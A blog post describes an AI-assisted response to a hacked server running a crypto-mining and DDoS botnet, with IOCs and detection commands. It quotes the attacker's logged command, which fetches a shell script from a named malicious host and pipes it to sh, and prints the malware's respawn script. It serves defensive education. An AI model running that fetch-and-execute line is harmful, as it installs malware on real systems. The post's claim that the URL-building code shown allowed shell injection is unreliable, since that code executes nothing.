How AI Helped Me Catch a Hybrid Botnet: A Real-World Incident Response

The Discovery: AI Sees What Humans Miss

It started with an innocent question: "Why is the server so slow?"

I logged into my VPS and saw CPU pegged at 97%. I could have spent hours manually checking processes, reading logs, and hunting through directories. Instead, I opened my terminal and asked @opencode (Kimi K2.5):

"I think this server has been compromised, please investigate."

In 60 seconds, AI accomplished what would have taken me an hour:

• Identified arm7.kok consuming 97.6% CPU
• Found a user account I didn't create (abandonedproject, UID 108)
• Discovered 6 active malware processes
• Located 9 malicious binaries across /tmp and /var/tmp
• Identified the hijacked systemd service

The AI's first words: "🚨 CRITICAL: Server is compromised! Found malicious cryptocurrency miner running..."

This was the moment I realized two things: I'd been hacked, and AI was about to save me from missing critical evidence.

AI Investigation: Finding the Smoking Gun

Not SSH Brute Force

Although I have key only login through SSH, the AI checked the SSH logs and found brute force attempts from IPs like 37.111.53.110, 159.223.219.79, but immediately reported:

"All failed. No successful logins from these IPs. The SSH angle was a dead end."

AI saved me from chasing a red herring.

The Real Entry Point: AI Found It in the Logs

I asked the AI to find how the app was hacked. It analyzed the application logs in seconds and found what I would have scrolled past:

Error: Command failed: (curl -s -k https://repositorylinux.publicvm.com/linux.sh||\
wget --no-check-certificate -q -O- https://repositorylinux.publicvm.com/linux.sh)|sh

Command injection. The AI immediately identified the vulnerability pattern and traced it to the webhook URL processing code. It explained exactly how the attacker injected shell commands through FAL AI webhook callbacks—something I might have missed entirely.

AI Analysis: The Vulnerability Explained

The AI showed me the vulnerable code in my AbandonedProject Next.js app:

// VULNERABLE CODE - DO NOT USE
let webhookUrl: string;
try {
  const base = new URL(webhookBase.replace(/\/$/, ''));
  webhookUrl = new URL('/api/webhooks/fal', base).toString();
} catch {
  throw new Error('FAL webhook base URL must be a valid absolute URL...');
}

The AI's explanation: "The problem is you're taking external input (webhook callback URLs), manipulating it with string operations, and using it without proper validation. The attacker discovered they could inject shell commands through the webhook system."

In 15 minutes, AI accomplished what would have taken me 2-3 hours of manual log analysis and code review.

AI-Guided Cleanup: Systematic and Thorough

Phase 1: AI Walked Me Through Containment

I asked the AI to help me clean up. It didn't just list steps—it executed them with me:

Service Termination:

# AI instructed:
systemctl stop abandonedproject.service && systemctl disable abandonedproject.service
# Result: "Removed /etc/systemd/system/multi-user.target.wants/abandonedproject.service"

Process Termination:

# AI identified all malware PIDs and commanded:
killall -9 arm7.kok x86_64.kok x86_32.kok .x lrt
# Verified: "No malware processes remaining"

File Removal:

# AI tracked down all locations:
rm -rf /tmp/arm7.kok /tmp/x86_64.kok /tmp/x86_32.kok \
       /tmp/.x /tmp/lrt /tmp/.bins /var/tmp/x86_64.kok /var/tmp/x86_32.kok

Phase 2: AI-Managed Complete Removal

Since this was a compromised personal project, the AI recommended complete removal and guided me through:

# AI generated the complete cleanup sequence:
rm -rf /srv/abandonedproject /var/log/abandonedproject /etc/abandonedproject
rm -f /etc/systemd/system/abandonedproject.service
systemctl daemon-reload
crontab -r -u abandonedproject
userdel -r abandonedproject
groupdel abandonedproject

Every command verified before execution. No mistakes, no missed steps.

The AI Malware Hunt: Finding What I Would Have Missed

The Critical Request

After the "cleanup," I asked the AI something crucial:

"Hunt for rootkits or other persistence mechanisms / living off the land"

This is where AI proved its value. I thought I was done. The AI knew better.

Systematic Hunting: What AI Checked

The AI conducted a comprehensive hunt in minutes:

1. LD_PRELOAD and Library Hijacking
   • Checked /etc/ld.so.preload
   • Verified $LD_PRELOAD environment variable
   • Scanned for recently modified shared libraries
2. Kernel Modules
   • Listed all loaded kernel modules (lsmod)
   • Checked /etc/modules-load.d for malicious configs
   • Searched for recently compiled .ko files
3. System Timers and Cron
   • Audited all systemd timers
   • Checked system-wide cron directories
   • Verified crontabs for all users
4. System Binary Integrity
   • Verified curl, wget, ssh, base64 weren't renamed
   • Checked for setuid/setgid binaries
   • Verified no modified system binaries
5. SSH Backdoors
   • Checked authorized_keys files
   • Verified no unauthorized SSH directories
   • Checked sudoers for malicious entries
6. Hidden Files
   • Scanned for hidden directories outside standard locations
   • Checked /var/tmp, /tmp, /dev/shm for hidden files
   • Looked for recently modified config files
7. Network Backdoors
   • Listed listening network sockets
   • Checked DNS configuration
   • Verified APT sources

The Three Threats AI Found That I Missed

Finding 1: /var/tmp/.monitor The AI discovered a 74-byte persistence script:

#!/bin/sh
while true
do
/tmp/arm7.kok (deleted) startup &
sleep 60
done &

AI's warning: "This script respawns the miner every 60 seconds. It would have re-infected your system within a minute of cleanup."

Finding 2: /tmp/.98bab95bfeb5dfb1-00000000.so A 4.3MB malicious shared object, currently loaded into memory.

AI's analysis: "This is a shared library with a UUID-style filename to evade detection. It's likely used for API hooking and hiding malware from process monitors. Currently loaded by process PID 1235697."

Finding 3: /dev/shm/lrt A 1.3MB copy of the malware in RAM.

AI's explanation: "/dev/shm is a tmpfs filesystem—RAM-backed, not disk. This copy would survive your disk-based cleanup operations. This is a sophisticated evasion technique."

Without AI, I Would Have Remained Compromised

All three persistence mechanisms were deleted. The AI's systematic hunt found threats I didn't know to look for.

AI-Assisted DDoS Investigation: The Plot Twist

Provider Contact

My hosting provider shared network logs showing my server attacking another IP. I fed the logs to the AI:

[SANITIZED_TIMESTAMP]  [SERVER_IP]    60237  ->  [TARGET_IP]     22005   784   UDP
[SANITIZED_TIMESTAMP]  [SERVER_IP]    60237  ->  [TARGET_IP]     22005   758   UDP

AI Analysis

The AI immediately identified the pattern:

"This is a UDP flood attack. Variable packet sizes (61-784 bytes) suggest an amplification technique. Your server was participating in a DDoS attack."

Timeline Reconstruction

The AI correlated the system logs with the attack:

06:00:01 UTC - Cron activated 4 instances of arm7.kok
06:35:30 UTC - DDoS attack launched (35 minutes later)

AI's conclusion: "This wasn't just a crypto miner—it was a hybrid botnet with both mining and DDoS capabilities. Your server was a node in a larger botnet."

Writing the DDoS Report

The AI helped me write a comprehensive DDoS investigation report, including:

• Timeline reconstruction
• Attack signature analysis
• Impact assessment
• IOCs for the victim
• Legal/compliance considerations

What took the AI minutes would have taken me hours.

AI Documentation: From Incident to Education

The Reports

The AI helped me document everything:

1. Security Incident Report - Complete technical analysis
2. Cleanup Report - Step-by-step removal documentation
3. Malware Hunt Report - Rootkit and persistence findings
4. DDoS Investigation Report - Attack analysis
5. Provider Statement - Disclosure to hosting provider
6. This Blog Post - Educational content with sanitized details
7. Twitter Thread - Community sharing

What Would Have Taken Days Took Hours

But time isn't the only metric. Without AI, I would have:

• Missed the three persistence mechanisms
• Never discovered the DDoS participation
• Failed to properly assess my other projects
• Lacked comprehensive documentation

The Human-AI Partnership: Lessons Learned

AI as a Force Multiplier

This experience showed me that AI doesn't replace security expertise—it amplifies it:

What AI Provided:

• Systematic methodology - Checked everything from LD_PRELOAD to kernel modules without fatigue
• Pattern recognition - Identified command injection from error logs instantly
• Speed - Analyzed files and logs faster than manual review
• Thoroughness - Found threats I didn't know to look for
• Documentation - Transformed technical findings into readable reports in real-time

What I Provided:

• Decision-making - Verified AI suggestions before execution
• Context - Understood the application architecture
• Judgment - Decided complete removal was the safest option
• Ethics - Reached out to the DDoS victim and provider
• Creativity - Turned the incident into educational content

The Workflow That Worked

1. Initial prompt: "I think this server has been compromised, please investigate"
2. Guided investigation: Asked follow-up questions as AI found clues
3. Verification: Checked AI findings before executing commands
4. Collaboration: Used AI for analysis, made decisions myself
5. Documentation: Had AI draft reports, I reviewed and edited

Caveats for Other Engineers

If you use AI for incident response:

• Verify everything - AI might suggest dangerous commands
• Use for analysis, not blind action - Understand what the AI is recommending
• Cross-check critical findings - Don't rely solely on AI detection
• AI augments, not replaces - Your security judgment is still essential

Technical Analysis: Why the Attack Worked

The Vulnerability Chain

1. Insufficient Input Validation - I trusted external webhook URLs
2. String Concatenation - Built URLs with simple operations
3. No URL Sanitization - Didn't check for malicious patterns
4. Privilege Context - Application could execute downloaded binaries
5. Service Architecture - Child processes inherited environment

The Payload

The malicious script from repositorylinux.publicvm.com performed:

• Architecture Detection - Downloaded appropriate miner (x86_64, x86_32, ARM)
• User Creation - Created abandonedproject user
• Persistence - Modified crontab, hijacked systemd service
• Stealth - Hidden files, random names, memory-resident copies
• Dual-Purpose - Both mining and DDoS capabilities

Why the DDoS Attack?

Modern botnets are multi-purpose infrastructure:

• Launch DDoS attacks (rented to other criminals)
• Act as network proxies/VPNs
• Steal data
• Deploy ransomware

My server was a node available for hire.

Appendix: Indicators of Compromise (IOCs)

For security teams and engineers, here are the technical IOCs from this attack:

File Indicators

Malware Binaries:

Filename Pattern: *.kok
Examples: arm7.kok, x86_64.kok, x86_32.kok
Other Names: .x (hidden), lrt, .98bab95bfeb5dfb1-00000000.so (UUID-style)

Locations:

• /tmp/*.kok
• /var/tmp/*.kok
• /var/tmp/.monitor
• /dev/shm/lrt (RAM-based)
• /tmp/.bins

Network Indicators

Malicious Download: repositorylinux.publicvm.com/linux.sh Mining Pool: Port 80 connections to [MINING_POOL_IP] DDoS Target: [TARGET_IP]:22005 (UDP port 22005)

Process Indicators

Names: arm7.kok, x86_64.kok, x86_32.kok, .x, lrt Behavior: >90% CPU, multiple instances, running from /tmp

Detection Commands

# Check for running miners
ps aux | grep -E "(kok|\.x|lrt)$" | grep -v grep

# Find files in temp locations
find /tmp /var/tmp /dev/shm -name "*.kok" -o -name ".x" -o -name "lrt" 2>/dev/null

# Check for persistence
ls -la /var/tmp/.monitor 2>/dev/null
crontab -l -u [SUSPICIOUS_USER] 2>/dev/null

# Check for deleted but running processes
ls -la /proc/*/exe 2>/dev/null | grep deleted

MITRE ATT&CK Mapping

Final Thoughts: The Future of Incident Response

This experience convinced me that AI-assisted incident response is the future.

The combination of:

• Human decision-making and oversight
• AI speed and pattern recognition
• Systematic methodology without fatigue
• Documentation as you go

...creates a response capability that's both faster and more thorough than traditional approaches.

What This Means for the Industry

Script kiddies download RATs. Professionals build multi-purpose botnets with redundant persistence. Defenders need AI to keep up.

The vulnerability that caused this was simple—lack of input validation. But finding all the persistence mechanisms, understanding the full scope, and documenting it properly required systematic thoroughness that AI excels at.

To Fellow Engineers

If you face a similar incident, consider AI as:

• Investigation partner - "Analyze these logs for suspicious patterns"
• Cleanup guide - "Walk me through removing this malware"
• Hunting assistant - "Check for persistence mechanisms I might have missed"
• Documentation helper - "Help me write an incident report"

The Real Hero

This story isn't about a crypto miner or a DDoS attack. It's about how AI transformed a potentially catastrophic incident into a controlled, educational experience.

Without AI, I would have:

• Missed critical persistence mechanisms
• Failed to discover the DDoS participation
• Lacked proper documentation
• Remained partially compromised

With AI, I turned a hack into knowledge I can share with you.

Resources and Call to Action

Check your code for:

• ❌ URL construction from external input
• ❌ Shell command execution with user data
• ❌ Missing input validation on webhooks/APIs
• ❌ Privileged processes that can write to /tmp
• ❌ Trusting "internal" services without verification

Tools and References:

• OWASP Input Validation Cheat Sheet
• SANS Incident Handler's Handbook
• MITRE ATT&CK Framework

Questions? Comments? Security concerns? Reach out—I'm happy to share more details about the AI-assisted workflow.

Stay paranoid. Validate everything. Hunt thoroughly. And don't be afraid to ask AI for help.

This post was written with AI assistance to help other developers learn from my mistakes. All identifying details have been sanitized.